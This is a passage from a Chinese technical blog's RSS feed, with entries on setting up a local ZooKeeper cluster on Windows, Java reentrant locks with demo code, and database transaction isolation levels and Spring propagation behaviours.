&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;setlocal
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;call &amp;#34;%~dp0zkEnv.cmd&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;set ZOOMAIN=org.apache.zookeeper.server.quorum.QuorumPeerMain
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;set ZOOCFG=../conf/zk1.cfg
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;echo on
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;java &amp;#34;-Dzookeeper.log.dir=%ZOO_LOG_DIR%&amp;#34; &amp;#34;-Dzookeeper.root.logger=%ZOO_LOG4J_PROP%&amp;#34; -cp &amp;#34;%CLASSPATH%&amp;#34; %ZOOMAIN% &amp;#34;%ZOOCFG%&amp;#34; %*
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;endlocal
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后直接双击启动zkServer1.cmd,zkServer2.cmd,zkServer3.cmd&lt;/p&gt;
&lt;p&gt;刚启动第一个之后,你会看到有报错,是zookeeper进行选举的时候报错的.因为第一个zk节点.从自己的启动配置里,知道还有两个节点,于是尝试连接.但是连接不上,再启动另外两个.都启动后,报错消失&lt;/p&gt;
&lt;p&gt;然后在D:\zookeeper中可以看到由数据写入.
&lt;img alt=&#34;zk数据目录&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/zk_result.jpg&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;测试&#34;&gt;测试&lt;/h2&gt;
&lt;p&gt;启动bin目录的zkCli.cmd,自动连接本机的2181端口.也可以自己指定
zkCli.cmd –server 127.0.0.1:2181,127.0.0.1:2182,127.0.0.1:2183
对客户端来说.连接上了一个列表之后,如果一台挂了,并不会影响.系统依旧可以运行.&lt;/p&gt;
&lt;p&gt;然后执行一些简单的操作
&lt;img alt=&#34;zk测试结果&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/zk_operation_test.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;显示根目录下、文件： ls / 使用 ls 命令来查看当前 ZooKeeper 中所包含的内容。
显示根目录下、文件： ls2 / 查看当前节点数据并能看到更新次数等数据。
创建文件，并设置初始内容： create /zktest &amp;ldquo;test&amp;rdquo; 创建一个新的 znode节点“ zk ”以及与它关联的字符串。
获取文件内容： get /zktest 确认 znode 是否包含我们所创建的字符串。
修改文件内容： set /zktest &amp;ldquo;zkbak&amp;rdquo; 对 zk 所关联的字符串进行设置。
删除文件： delete /zktest 将刚才创建的 znode 删除。
退出客户端： quit
帮助命令： help&lt;/p&gt;
&lt;p&gt;可以关掉一个服务器,会发现客户端依然正常.可以执行get set等操作.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Java可重入锁学习笔记</title>
      <link>http://blog.leaver.me/2015/11/20/java%E5%8F%AF%E9%87%8D%E5%85%A5%E9%94%81%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Fri, 20 Nov 2015 20:51:25 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/11/20/java%E5%8F%AF%E9%87%8D%E5%85%A5%E9%94%81%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;前几天被前辈问到这个可重入锁,结果忘掉了.于是抽空整个了解一下&lt;/p&gt;
&lt;h2 id=&#34;目录&#34;&gt;目录&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;什么是可重入锁&lt;/li&gt;
&lt;li&gt;为什么要可重入&lt;/li&gt;
&lt;li&gt;如何实现可重入锁&lt;/li&gt;
&lt;li&gt;有不可重入锁吗&lt;/li&gt;
&lt;li&gt;demo代码展示&lt;/li&gt;
&lt;li&gt;参考文章&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;1--什么是可重入锁&#34;&gt;1 . 什么是可重入锁&lt;/h2&gt;
&lt;p&gt;锁的概念就不用多解释了,当某个线程A已经持有了一个锁,当线程B尝试进入被这个锁保护的代码段的时候.就会被阻塞.而锁的操作粒度是&amp;quot;线程&amp;quot;,而不是调用(至于为什么要这样,下面解释).同一个线程再次进入同步代码的时候.可以使用自己已经获取到的锁,这就是可重入锁
java里面内置锁(synchronize)和Lock(ReentrantLock)都是可重入的&lt;/p&gt;
&lt;h2 id=&#34;2--为什么要可重入&#34;&gt;2 . 为什么要可重入&lt;/h2&gt;
&lt;p&gt;如果线程A继续再次获得这个锁呢?比如一个方法是synchronized,递归调用自己,那么第一次已经获得了锁,第二次调用的时候还能进入吗? 直观上当然需要能进入.这就要求必须是可重入的.可重入锁又叫做递归锁,再举个例子.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Widget&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;synchronized&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;doSomething&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;o&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;LoggingWidget&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;extends&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Widget&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;synchronized&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;doSomething&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;println&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;toString&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;: calling doSomething&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;super&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;doSomething&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;//&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;若内置锁是不可重入的，则发生死锁&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个例子是java并发编程实战中的例 子.synchronized 是父类Widget的内置锁,当执行子 类的方法的时候,先获取了一次Widget的锁,然后在执行super的时候,就要获取一次,如果不可重入,那么就跪了.&lt;/p&gt;
&lt;h2 id=&#34;3--如何实现可重入锁&#34;&gt;3 . 如何实现可重入锁&lt;/h2&gt;
&lt;p&gt;为每个锁关联一个获取计数器和一个所有者线程,当计数值为0的时候,这个所就没有被任何线程只有.当线程请求一个未被持有的锁时,JVM将记下锁的持有者,并且将获取计数值置为1,如果同一个线程再次获取这个锁,技术值将递增,退出一次同步代码块,计算值递减,当计数值为0时,这个锁就被释放.
ReentrantLock里面有实现&lt;/p&gt;
&lt;h2 id=&#34;4--有不可重入锁吗&#34;&gt;4 . 有不可重入锁吗&lt;/h2&gt;
&lt;p&gt;这个还真有.Linux下的pthread_mutex_t锁是默认是非递归的。可以通过设置PTHREAD_MUTEX_RECURSIVE属性，将pthread_mutex_t锁设置为递归锁。如果要自己实现不可重入锁,同可重入锁,这个计数器只能为1.或者0,再次进入的时候,发现已经是1了,就进行阻塞.jdk里面没有默认的实现类.&lt;/p&gt;
&lt;h2 id=&#34;5--demo代码展示&#34;&gt;5 . demo代码展示&lt;/h2&gt;
&lt;p&gt;5.1 内置锁的可重入&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;public class ReentrantTest {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    public void method1() {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        synchronized (ReentrantTest.class) {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            System.out.println(&amp;#34;方法1获得ReentrantTest的内置锁运行了&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            method2();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    public void method2() {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        synchronized (ReentrantTest.class) {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            System.out.println(&amp;#34;方法1里面调用的方法2重入内置锁,也正常运行了&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    public static void main(String[] args) {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        new ReentrantTest().method1();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;5.2 lock对象的可重入&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;import java.util.concurrent.locks.Lock;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;import java.util.concurrent.locks.ReentrantLock;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;public class ReentrantLockTest {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    private Lock lock = new ReentrantLock();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    public void method1() {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        lock.lock();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        try {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            System.out.println(&amp;#34;方法1获得ReentrantLock锁运行了&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            method2();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        } finally {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            lock.unlock();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    public void method2() {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        lock.lock();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        try {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            System.out.println(&amp;#34;方法1里面调用的方法2重入ReentrantLock锁,也正常运行了&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        } finally {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            lock.unlock();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    public static void main(String[] args) {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        new ReentrantLockTest().method1();
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;5.3 不同线程不可访问同一锁&lt;/p&gt;</description>
    </item>
    <item>
      <title>事务学习笔记</title>
      <link>http://blog.leaver.me/2015/09/12/%E4%BA%8B%E5%8A%A1%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Sat, 12 Sep 2015 16:40:44 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/09/12/%E4%BA%8B%E5%8A%A1%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;最近有个感受,在实践中学习固然重要,但是实践遇到的问题常常并没有想象的那么多,而且并不能覆盖所有的情况,所以还是需要对理论有一些深入的理解&lt;/p&gt;
&lt;h2 id=&#34;什么是事务&#34;&gt;什么是事务&lt;/h2&gt;
&lt;p&gt;事务指的是逻辑上的一组操作,这组操作要么全部成功,要么全部失败,不允许出现部分成功的情况.&lt;/p&gt;
&lt;h2 id=&#34;事务的特性&#34;&gt;事务的特性&lt;/h2&gt;
&lt;p&gt;定义了事务之后,事务四个特性&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;原子性
事务是不可分割的单位,事务中的这组操作要么都发生,要么都不发生.&lt;/li&gt;
&lt;li&gt;一致性
一致性说是事务执行前后必须要保持一致,不能出现凭空消失的情况,典型的如银行转账的操作,A给B转账,如果刚开始两人总共有100元,转账完成后两人总共还要有100元.&lt;/li&gt;
&lt;li&gt;隔离性
多个用户并发访问数据库的时候,一个用户的事务不能被其他的用户的事务所干扰.多个并发事务之间数据要相互隔离.比如事务1,C给A转帐,此时事务2,A给B转账.那么两个事务都要修改A账户的余额,一个增加,一个减少,如何保证他们改完之后数据是对的.这是隔离性的要求.&lt;/li&gt;
&lt;li&gt;持久性
一旦事务被提交,对数据库的改变就是持久性的.即使数据库发生故障也不应该有任何影响.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;事务的隔离级别&#34;&gt;事务的隔离级别&lt;/h2&gt;
&lt;p&gt;为什么要有隔离级别呢,因为如果没有隔离级别,当两个事务同时对某条记录进行操作的时候,可能会出现如下几种大家常常听到的情况.&lt;/p&gt;
&lt;p&gt;1  脏读
脏读就是指当一个事务正在访问数据，并且对数据进行了修改，而这种修改还没有提交到数据库中，这时，另外一个事务也访问这个数据，然后使用了这个数据。&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    事务1：更新一条数据
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    -------&amp;gt;事务2：读取事务1更新的记录
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    事务1：调用commit进行提交
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;由于事务2使用了事务1还没有提交的记录,如果事务1最后正常提交了还好,但是如果事务1没有提交,而是回滚了.那么事务2的操作就有问题,因为他用的数据是错的.这就是脏读&lt;/p&gt;
&lt;p&gt;2  不可重复读
在同一事务中，两次读取同一数据，得到内容不同&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    事务1：查询一条记录
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    ————–&amp;gt;事务2：更新事务1查询的记录
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    ————–&amp;gt;事务2：调用commit进行提交
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    事务1：再次查询上次的记录
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;事务1要进行两次查询来做一些比如展示或者使用的操作,但是在两次查询事件被事务2更新掉了记录,所以事务1就出现了不可重复读的问题.&lt;/p&gt;
&lt;p&gt;3  幻读
同一事务中，用同样的操作读取两次，得到的记录数不相同&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    事务1：查询表中所有记录
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    ————–&amp;gt;事务2：插入一条记录
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    ————–&amp;gt;事务2：调用commit进行提交
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    事务1：再次查询表中所有记录
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;此时事务1两次查询到的记录是不一样的，称为幻读&lt;/p&gt;
&lt;p&gt;幻读的重点是新增或者删除,由于另一个事务对表中进行了新增或者删除,到时当前事务每次看到的都条数不一样,就像发生了幻觉一样,查一次多了一条,再查一次,发现又没了.&lt;/p&gt;
&lt;p&gt;为此,对事务引入了隔离级别这个概念,由数据库保证
DEFAULT 使用数据库设置的隔离级别 ( 默认 ) ，由 DBA 默认的设置来决定隔离级别 .
READ_UNCOMMITTED 会出现脏读、不可重复读、幻读 ( 隔离级别最低，并发性能高 )
READ_COMMITTED  会出现不可重复读、幻读问题（锁定正在读取的行）
REPEATABLE_READ 会出幻读（锁定所读取的所有行）
SERIALIZABLE 保证所有的情况不会发生（锁表）
&lt;img alt=&#34;隔离级别&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/transaction_isolation_all.jpg&#34;&gt;
可以看到,这四种从上到下性能越来越差,保障性越来越高.&lt;/p&gt;
&lt;p&gt;以解决幻读问题为例,SERIALIZABLE直接进行了锁表,那么印发幻读的对该表的插入和删除都无法操作,只能查询.所以不会有问题了..&lt;/p&gt;
&lt;h2 id=&#34;事务的传播行为&#34;&gt;事务的传播行为&lt;/h2&gt;
&lt;p&gt;事务的传播行为主要是为了解决事务嵌套调用的问题,比如A方法里面使用了事务操作,B方法里面也使用了事务操作,当A调用B的时候.这个情况是如何处理的呢&lt;/p&gt;
&lt;p&gt;1 REQUIRED 业务方法需要在一个事务中运行,如果方法运行时,已处在一个事务中,那么就加入该事务,否则自己创建一个新的事务.这是spring默认的传播行为.&lt;/p&gt;
&lt;p&gt;2 SUPPORTS    如果业务方法在某个事务范围内被调用,则方法成为该事务的一部分,如果业务方法在事务范围外被调用,则方法在没有事务的环境下执行.&lt;/p&gt;
&lt;p&gt;3 MANDATORY   只能在一个已存在事务中执行,业务方法不能发起自己的事务,如果业务方法在没有事务的环境下调用,就抛异常&lt;/p&gt;
&lt;p&gt;4 REQUIRES_NEW    业务方法总是会为自己发起一个新的事务,如果方法已运行在一个事务中,则原有事务被挂起,新的事务被创建,直到方法结束,新事务才结束,原先的事务才会恢复执行.
5 NOT_SUPPORTED   声明方法需要事务,如果方法没有关联到一个事务,容器不会为它开启事务.如果方法在一个事务中被调用,该事务会被挂起,在方法调用结束后,原先的事务便会恢复执行.
6 NEVER   声明方法绝对不能在事务范围内执行,如果方法在某个事务范围内执行,容器就抛异常.只有没关联到事务,才正常执行.&lt;/p&gt;
&lt;p&gt;7 NESTED  如果一个活动的事务存在,则运行在一个嵌套的事务中.如果没有活动的事务,则按REQUIRED属性执行.它使用了一个单独的事务, 这个事务拥有多个可以回滚的保证点.内部事务回滚不会对外部事务造成影响, 它只对DataSourceTransactionManager 事务管理器起效.&lt;/p&gt;
&lt;p&gt;总共7个,1,4,7最重要.1就是说A和B会在A的事务里.而4是B会开启一个新的事务,直到完成结束,A的事务才会继续运行.&lt;/p&gt;
&lt;h2 id=&#34;参考资料&#34;&gt;参考资料&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://www.imooc.com/view/478&#34;&gt;Spring事务管理&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://tech.meituan.com/innodb-lock.html&#34;&gt;Innodb中的事务隔离级别和锁的关系&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>kafka快速开发demo</title>
      <link>http://blog.leaver.me/2015/09/08/kafka%E5%BF%AB%E9%80%9F%E5%BC%80%E5%8F%91demo/</link>
      <pubDate>Tue, 08 Sep 2015 00:04:31 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/09/08/kafka%E5%BF%AB%E9%80%9F%E5%BC%80%E5%8F%91demo/</guid>
      <description>&lt;p&gt;在&lt;a href=&#34;http://leaver.me/2015/09/03/kafka%E5%BF%AB%E9%80%9F%E4%B8%8A%E6%89%8B/&#34;&gt;kafka快速上手&lt;/a&gt;,主要是使用kafka提供的测试来做了一下简单测试,实际开发中的使用可能才是我们要关系的.启动zk和kafka,新建topic的过程都不变.&lt;/p&gt;
